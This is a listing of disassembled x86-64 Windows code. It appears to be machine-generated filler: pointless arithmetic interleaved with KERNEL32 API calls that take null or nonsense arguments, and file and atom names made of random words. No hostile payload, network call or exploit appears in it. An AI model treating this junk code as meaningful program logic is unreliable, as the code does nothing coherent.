mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov qword [rsp + 0xcba8], rax
mov rax, qword [rsp + 0x95f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4418]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c30], eax
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xc4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cfc], eax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [0x1401e60b2], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9640], rax
mov rax, qword [rsp + 0xa728]
movzx eax, byte [rax]
mov byte [rsp + 0x1bd], al
movsx eax, word [rsp + 0xd7c]
mov rcx, qword [rsp + 0xc0f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe48], ax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0xecc]
sub eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
lea rcx, [rsp + 0x257c8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xcbb8], rax
mov rax, qword [rsp + 0xab20]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa3c0], rax
mov rcx, qword [rsp + 0x9fd0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x4380]
mov dword [rsp + 0x4d10], eax
mov eax, dword [rsp + 0x46b0]
mov ecx, dword [rsp + 0x48b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xac28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa250], rax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0xcbc0], rax
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0x11b8]
or eax, ecx
mov word [0x1401e607c], ax
movzx ecx, word [rsp + 0x1240]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf24], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x9898]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sar eax, cl
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
lea rax, [rsp + 0xec4]
mov qword [rsp + 0xcbc8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x436c], eax
movsx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0xb890]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0xaf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8c0]
mov qword [rsp + 0xcbd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcbd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9490], rax
mov eax, dword [rsp + 0x4998]
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xb140]
idiv dword [rcx]
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae68]
mov rax, qword [rax]
mov qword [rsp + 0xcbd8], rax
movzx eax, word [rsp + 0xfe0]
mov rcx, qword [rsp + 0xcbc8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
lea rax, [rsp + 0x8c]
mov qword [0x1401e7a70], rax
mov rax, qword [rsp + 0xc888]
movzx eax, byte [rax]
mov byte [rsp + 0x1be], al
movzx eax, byte [0x1401e6012]
movzx ecx, byte [rsp + 0x89]
and eax, ecx
mov rcx, qword [rsp + 0xc900]
mov byte [rcx], al
mov rax, qword [rsp + 0xa480]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9938]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0xcbe0], rax
mov rax, qword [rsp + 0x9068]
mov rcx, qword [rsp + 0x9a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49dc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4d18], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
mov qword [rsp + 0xcbe8], rax
mov rax, qword [rsp + 0xc948]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa540]
mov qword [rcx], rax
movzx eax, word [rsp + 0x126c]
movzx ecx, word [rsp + 0xe1c]
add eax, ecx
mov word [rsp + 0xdd8], ax
mov rax, qword [rsp + 0x9368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov byte [0x1401e606b], al
mov r9d, 0x12d2
xor r8d, r8d
lea rdx, [rsp + 0xc940]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4258], eax
lea rax, [0x1401e605c]
mov qword [rsp + 0xcbf0], rax
lea rdx, [rsp + 0xc9b0]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d1c], eax
mov edx, 0x4a8832
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xb9c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcb18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x123c], ax
lea rax, [rsp + 0x6a]
mov qword [rsp + 0xcbf8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc848], rax
lea rax, [rsp + 0x4468]
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0x9dc0]
mov rcx, qword [rsp + 0xb518]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4cc8], eax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb070]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e6120], ax
movsx eax, word [rsp + 0x1088]
movsx ecx, word [rsp + 0xd98]
sar eax, cl
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0x103]
shl eax, cl
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0xc218]
movzx eax, word [rax]
mov word [rsp + 0x12ac], ax
mov rax, qword [rsp + 0x9938]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1230]
and eax, ecx
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0xc4f8]
mov eax, dword [rax]
mov dword [rsp + 0x4d20], eax
mov eax, dword [rsp + 0x4544]
mov ecx, dword [rsp + 0x4a4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
mov rax, qword [0x1401e6020]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0xaec8]
mov rcx, qword [rsp + 0xbcc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb088]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x123]
mov byte [0x1401e74f2], al
movsx eax, byte [0x1401e6077]
movsx ecx, byte [rsp + 0x13a]
add eax, ecx
mov rcx, qword [rsp + 0xb620]
mov byte [rcx], al
movzx eax, word [rsp + 0xbcc]
mov word [rsp + 0x12b0], ax
movsx eax, word [rsp + 0xd8c]
movsx ecx, word [rsp + 0xba4]
sub eax, ecx
mov word [rsp + 0xba8], ax
lea rcx, [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4b08], eax
lea rax, [0x1401e75b8]
mov qword [rsp + 0xcc18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4b3c], eax
lea rcx, [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xc3e0]
mov ecx, dword [rsp + 0x47ec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x499c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42dc], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x468c], eax
mov rax, qword [rsp + 0xcb10]
mov rcx, qword [rsp + 0x9a60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc270], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0xcc28], rax
mov rax, qword [rsp + 0xa438]
mov ecx, dword [rsp + 0x4d14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a4c], eax
lea rax, [rsp + 0xba]
mov qword [0x1401e7a78], rax
movzx eax, byte [rsp + 0xa3]
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0xcac]
sub eax, ecx
mov rcx, qword [rsp + 0xb148]
mov word [rcx], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43f4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:GelledStuckup
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcc30], rax
lea rax, [0x1401e74c5]
mov qword [rsp + 0xcc38], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc930], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rdx, [rsp + 0xb7f0]
mov rcx, qword [rsp + 0xae48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d24], eax
mov eax, dword [rsp + 0x4ab4]
mov rcx, qword [rsp + 0x9a30]
mov qword [rsp + 0xcc40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4780], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2c41
mov r9d, 0x1853
mov r8d, 0x3b51af50
mov edx, 1
mov rcx, qword [rsp + 0xbea8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49fc], eax
lea rax, [rsp + 0xaa28]
mov qword [rsp + 0xcc48], rax
mov rax, qword [rsp + 0xc280]
movzx ecx, al
mov rax, qword [rsp + 0x95e8]
shl rax, cl
mov rcx, qword [rsp + 0xa948]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0x9fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4624], eax
mov rax, qword [rsp + 0xb430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401e7638]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb528], rax
lea rax, [0x1401e76f0]
mov qword [rsp + 0xcc50], rax
mov rax, qword [rsp + 0xc5b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd4]
and eax, ecx
mov word [rsp + 0xbb8], ax
lea rcx, [rsp + 0x26968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xd80]
mov word [rsp + 0x12b4], ax
mov rax, qword [rsp + 0xa1c0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e76c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8ef6
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4d28], eax
lea rax, [rsp + 0x464c]
mov qword [rsp + 0xcc58], rax
mov rax, qword [rsp + 0xac68]
mov rcx, qword [rsp + 0xb448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa1b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0xa068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x9470]
mov rax, qword [rax]
mov qword [rsp + 0xcc60], rax
mov rax, qword [rsp + 0xb8f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9728]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e608b], al
mov r9d, 1
lea r8, [rsp + 0xb7f0]
mov rdx, qword [rsp + 0xaf00]
mov rcx, qword [rsp + 0xb198]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4324], eax
movzx eax, word [rsp + 0xfe4]
movzx ecx, word [rsp + 0xd6c]
sub eax, ecx
mov rcx, qword [rsp + 0xbb28]
mov word [rcx], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xcc68], rax
lea rdx, [rsp + 0xacf0]
mov rcx, qword [rsp + 0xca48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d2c], eax
movsx eax, word [rsp + 0xd38]
mov rcx, qword [rsp + 0xa800]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1158], ax
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a70], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4958], eax
mov rax, qword [0x1401e7630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x8f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc848]
mov qword [rsp + 0xcc70], rax
mov rax, qword [rsp + 0xbbb0]
mov rcx, qword [rsp + 0xcb10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5a8], rax
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x4d30], eax
mov rax, qword [rsp + 0xb3b0]
mov ecx, dword [rsp + 0x487c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49e4], eax
lea rcx, str.Bloodthirstier_gestate_Apnea_conceives_Wellplaced
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1150], ax
lea rax, [rsp + 0x17c]
mov qword [0x1401e7a80], rax
mov rax, qword [rsp + 0xae60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb9f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9d98]
mov word [rcx], ax
lea rax, [rsp + 0x131]
mov qword [rsp + 0xcc78], rax
movsx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xd9]
mov qword [rsp + 0xcc80], rax
lea rcx, str.counterrevolutionary_lionesses_Rangers
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xc9a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48dc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c08]
mov dword [rcx], eax
lea rax, [rsp + 0x91f8]
mov qword [rsp + 0xcc88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x9ee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9a78]
mov qword [rsp + 0xcc90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc90]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x95b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc70]
mov rcx, qword [rsp + 0xc4b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xc0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1120]
imul eax, ecx
mov word [0x1401e6160], ax
lea rax, [0x1401e614c]
mov qword [rsp + 0xcc98], rax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov byte [rsp + 0x14a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov edx, 0xce4
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d34], eax
movzx eax, byte [rsp + 0x19c]
mov byte [rsp + 0x1c1], al
movzx eax, word [rsp + 0x11c8]
mov rcx, qword [rsp + 0xc4c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0xaa90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov qword [rsp + 0xcca0], rax
mov eax, dword [rsp + 0x4468]
mov ecx, dword [0x1401e6014]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xca00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a90]
mov dword [rsp + 0x4d38], eax
movzx ecx, word [rsp + 0x1170]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf64], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4a60], eax
mov rax, qword [rsp + 0xb8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa310]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7510]
mov word [rcx], ax
movzx eax, byte [str.Wc_r8]
mov rcx, qword [rsp + 0xc640]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa6], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x142], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov word [rsp + 0x12bc], ax
movzx eax, word [rsp + 0x1120]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3f0]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0x9530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xadd8]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0xccb0], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [0x1401e7648]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee8]
sar eax, cl
mov word [0x1401e60d4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc2e0], rax
movzx eax, byte [rsp + 0xe2]
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0xa1e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1048], ax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xe30]
mov qword [rsp + 0xccb8], rax
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa718]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
imul eax, dword [rsp + 0x492c]
mov dword [rsp + 0x46e0], eax
mov eax, dword [rsp + 0x4c18]
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x9908]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0xa120]
movzx eax, word [rax]
mov word [rsp + 0x12c0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa3e0], rax
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4d40], eax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x108]
sub eax, ecx
mov byte [0x1401e60b3], al
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa5]
add eax, ecx
mov byte [rsp + 0x127], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb9b0], rax
movzx eax, word [rsp + 0xdbc]
movzx ecx, word [rsp + 0x1024]
sub eax, ecx
mov rcx, qword [rsp + 0xb660]
mov word [rcx], ax
lea rax, [rsp + 0xcf]
mov qword [rsp + 0xccc0], rax
mov rax, qword [rsp + 0xbcb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9180]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xadd8]
mov eax, dword [rax]
mov dword [rsp + 0x4d44], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xa1d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc530]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab20]
mov rcx, qword [rsp + 0x9740]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc9b8], rax
movzx eax, word [0x1401e74c0]
mov word [rsp + 0x12c4], ax
mov rcx, qword [rsp + 0xb820]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaab8]
movzx eax, byte [rax]
mov byte [0x1401e74f3], al
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa688]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcb30]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xc0f8]
movzx eax, word [rax]
mov word [rsp + 0x12c8], ax
lea rdx, [rsp + 0x28420]
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x49fc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x26c08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0xa518]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0xc520]
mov qword [rsp + 0xccd0], rax
mov rax, qword [rsp + 0xb958]
mov rcx, qword [rsp + 0xc828]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xab70], rax
mov rax, qword [rsp + 0x9150]
mov ecx, dword [rsp + 0x4b24]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4670], eax
lea rax, [rsp + 0x4d38]
mov qword [rsp + 0xccd8], rax
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4d48], eax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4564], eax
movzx eax, word [rsp + 0xd10]
mov rcx, qword [rsp + 0xab50]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xbac8]
mov word [rcx], ax
movsx eax, word [rsp + 0xcd4]
movsx ecx, word [rsp + 0xc68]
sar eax, cl
mov rcx, qword [0x1401e7688]
mov word [rcx], ax
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [0x1401e7880]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16b], al
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov rcx, qword [rsp + 0xc760]
mov byte [rcx], al
lea rax, [rsp + 0x1a6]
mov qword [rsp + 0xcce0], rax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xb818]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6d8]
mov qword [rcx], rax
lea rax, [rsp + 0x488c]
mov qword [rsp + 0xcce8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xcb98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6c8]
mov rcx, qword [rsp + 0xc668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b30], rax
movzx eax, byte [rsp + 0x187]
movzx ecx, byte [rsp + 0xf0]
sub eax, ecx
mov byte [0x1401e60b6], al
mov rcx, qword [rsp + 0xb398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0xf4c]
mov word [rsp + 0x12cc], ax
mov rax, qword [0x1401e79d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe3c]
sub eax, ecx
mov rcx, qword [rsp + 0xae50]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:ForgettingAscertaining_bevelhaywireAccompanies
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xccf0], rax
mov rax, qword [rsp + 0xa310]
movzx eax, word [rax]
mov word [rsp + 0x12d0], ax
mov rax, qword [rsp + 0xb238]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd9], al
